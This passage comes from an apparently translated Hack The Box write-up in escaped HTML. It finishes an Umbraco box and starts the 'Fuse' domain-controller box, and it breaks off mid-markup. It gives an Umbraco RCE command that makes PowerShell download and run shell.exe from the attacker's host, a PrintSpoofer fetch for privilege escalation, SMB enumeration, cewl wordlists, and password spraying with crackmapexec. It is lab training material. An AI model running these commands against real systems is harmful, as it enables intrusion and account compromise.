class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;admin:baconandcheese&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0300.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Success. Now I could run the exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/noraj/Umbraco-RCE/blob/master/exploit.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/noraj/Umbraco-RCE/blob/master/exploit.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c ipconfig&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0301.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The test worked, so I could build the actual exploit command.&lt;/p&gt;&#10;&lt;p&gt;Getting a shell was a bit of a struggle, but I got there in the end.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c powershell.exe -a &amp;#39;-NoProfile -Command curl http://10.10.16.2:33333/Remote/shell.exe -o \\users\\Public\\shell.exe&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c powershell.exe -a &amp;#39;-NoProfile -Command start \\users\\Public\\shell.exe&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0302.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0303.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Only after getting in did I remember the FTP service. Uploading through FTP and then executing the file would have worked just fine. Meanwhile, I&amp;rsquo;d spent all that time looking for a writable folder and painstakingly building the upload command.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0304.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;From there, I could just use the Potato exploit to escalate privileges.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://10.10.16.2:33333/Privilege_Escalation_tool_windows/PrintSpoofer64.exe -o .\PrintSpoofer64.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PrintSpoofer64.exe -i -c cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0305.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;Overall, it wasn&amp;rsquo;t too bad—it was an easy box, after all. The part that tripped me up was finding the password. At first, I searched for where Umbraco stored its database password, or even where the database file itself was located. I kept searching, but nothing told me where it was. Later, I can&amp;rsquo;t remember exactly what I searched for, but I came across a blog post that revealed the database file&amp;rsquo;s location. I initially followed the method in that post, but it required connecting to a new database. After thinking about it for a while, I finally realized strings could expose the plaintext. Then came the reverse shell. I don&amp;rsquo;t know why cmd commands wouldn&amp;rsquo;t work; they had no effect and also threw errors.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0306.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In the end, I followed the tutorial for this exploit and pieced the command together that way. Most of the difficulty was really concentrated in getting the shell.&lt;/p&gt;&#10;&lt;h2 id="15-fuse"&gt;&lt;a href="#15-fuse" class="header-anchor"&gt;&lt;/a&gt;15. Fuse&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0307.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0308.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Another domain controller.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0309.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0310.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;LDAP:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0311.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;DNS:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0312.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I decided to add these two domains to my hosts file first.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fuse.fabricorp.local. hostmaster.fabricorp.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Other than that, LDAP didn&amp;rsquo;t give me anything else. I had gathered everything I could for now, so it was time to look at port 80.&lt;/p&gt;&#10;&lt;p&gt;It redirected automatically.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0313.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So the DNS results had actually given me another domain, hostmaster.fabricorp.local. It looked like that might come in handy too.&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t get anywhere with port 80, so I turned my attention back to SMB and LDAP. I had only tried connecting to SMB anonymously and hadn&amp;rsquo;t looked into it in detail. There are actually plenty of other ways to gather information from SMB.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enum4linux -a -u &amp;#34;&amp;#34; -p &amp;#34;&amp;#34; &amp;lt;dc-ip&amp;gt; &amp;amp;&amp;amp; enum4linux -a -u &amp;#34;guest&amp;#34; -p &amp;#34;&amp;#34; &amp;lt;dc-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbmap -u &amp;#34;&amp;#34; -p &amp;#34;&amp;#34; -P 445 -H &amp;lt;dc-ip&amp;gt; &amp;amp;&amp;amp; smbmap -u &amp;#34;guest&amp;#34; -p &amp;#34;&amp;#34; -P 445 -H &amp;lt;dc-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -U &amp;#39;%&amp;#39; -L //&amp;lt;dc-ip&amp;gt; &amp;amp;&amp;amp; smbclient -U &amp;#39;guest%&amp;#39; -L //&amp;lt;dc-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb &amp;lt;ip&amp;gt; -u &amp;#39;&amp;#39; -p &amp;#39;&amp;#39; # Enumerate SMB shares accessible through a null session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb &amp;lt;ip&amp;gt; -u &amp;#39;a&amp;#39; -p &amp;#39;&amp;#39; # Enumerate anonymously accessible SMB shares&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Domain Name: FABRICORP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Domain Sid: S-1-5-21-2633719317-1471316042-3957863514&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB fabricorp.local 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB fabricorp.local 445 FUSE [+] fabricorp.local\:&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I checked LDAP too, but there was nothing there. Port 80 had nothing either, so I started brute-forcing subdomains in case that turned up something.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnsenum fabricorp.local --dnsserver 10.10.10.193&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.193 -H &amp;#34;Host: FUZZ.fabricorp.local&amp;#34; --hh 103&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0314.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I noticed something odd: an IP ending in 85 was listed in the domain controller&amp;rsquo;s DNS records. Did that mean there was a domain environment here, with the .85 host joined to the domain? In the end, the entire subdomain scan completed without finding a single one.&lt;/p&gt;&#10;&lt;p&gt;After putting all the information together, it looked like there wasn&amp;rsquo;t a vulnerability anywhere. Everything felt like a mess, and I had no idea what was actually going on.&lt;/p&gt;&#10;&lt;p&gt;I shifted my focus away from SMB, DNS, and LDAP and went back to port 80. At this point, I really needed to get either an account or at least a username before I could gather any more information.&lt;/p&gt;&#10;&lt;p&gt;Once I wrote that thought down, it suddenly clicked. The website on port 80 showed historical print logs—and didn&amp;rsquo;t those logs contain usernames? I had clearly seen them earlier.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pmerton&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tlavel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sthompson&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bhult&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;All that was left was brute force. I worked through the users one by one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0315.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;First, I tried an ASREP-Roasting attack.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0316.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0317.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried everything, but none of it worked. Based on what I had learned so far, I was basically stuck. There were only two paths left: look into ADWS, which I had never touched before, or find another wordlist and keep brute-forcing.&lt;/p&gt;&#10;&lt;p&gt;I searched for ADWS vulnerabilities and found only one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0318.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had tried NTLM relay in other ways before, but this was my first time hearing about ADWS.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://clement.notin.org/blog/2020/11/16/ntlm-relay-of-adws-connections-with-impacket/" target="_blank" rel="noopener"&#10; &gt;https://clement.notin.org/blog/2020/11/16/ntlm-relay-of-adws-connections-with-impacket/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.youtube.com/watch?v=Blh9LAF92ro" target="_blank" rel="noopener"&#10; &gt;https://www.youtube.com/watch?v=Blh9LAF92ro&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I went through both of these. They explain ADWS relay, but NTLM authentication requires credentials, so this was completely useless here.&lt;/p&gt;&#10;&lt;p&gt;That left only the last option. I personally don&amp;rsquo;t particularly like brute force because it always feels like there&amp;rsquo;s nothing there.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0319.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The weak-password brute force didn&amp;rsquo;t find anything either. I wasn&amp;rsquo;t planning to use cewl to build a wordlist because, after looking at the page, there didn&amp;rsquo;t seem to be much to extract. In short, I was completely stuck.&lt;/p&gt;&#10;&lt;p&gt;None of the techniques I had learned so far could get me any more information, so I decided to check the Hack The Box hint and see what it revealed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0320.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found the hint. Did this mean those users actually had weak passwords? Fine, I would just use cewl to generate a password list and brute-force them properly.&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, I still got no results. At this point I had no choice but to look at a write-up. I had previously read OSCP retrospectives saying that you absolutely need to prepare good wordlists because so many places require brute force. If my wordlist was the problem, then at least this box could help me expand it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers &amp;gt; wordlist&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cewl -d 5 -m 3 --with-numbers -w passwords.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cewl -w passfile.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cewl -w pwd.txt --with-numbers http://fuse.fabricorp.local/papercut/logs/html/index.htm&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;These are the commands I found in several blogs for this step. There really wasn&amp;rsquo;t much explanation: you simply need to include numbers by adding the &amp;ndash;with-numbers flag.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers &amp;gt; wordlist&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb fabricorp.local -u user.txt -p wordlist&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Found two credential pairs, but both return STATUS_PASSWORD_MUST_CHANGE&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fabricorp.local\bhult:Fabricorp01&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fabricorp.local\tlavel:Fabricorp01&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0321.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So now I needed to log in.&lt;/p&gt;&#10;&lt;p&gt;I started trying every available login point. Based on the open services, I could try RPC, SMB, LDAP, and WinRM, but every one of them returned NT_STATUS_PASSWORD_MUST_CHANGE.&lt;/p&gt;&#10;&lt;p&gt;It felt like getting the password was no different from not having it at all.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/" target="_blank" rel="noopener"&#10; &gt;https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This blog explains how to change a password remotely, so I gave it a try.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└─# smbpasswd -r 10.10.10.193 -U bhult&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Old SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Retype new SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;machine 10.10.10.193 rejected the password change: Error was : The transport connection is now disconnected..&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└─# smbpasswd -r 10.10.10.193 -U tlavel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Old SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Retype new SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;machine 10.10.10.193 rejected the password change: Error was : The transport connection is now disconnected..&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└─# smbpasswd -r fabricorp.local -U tlavel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span 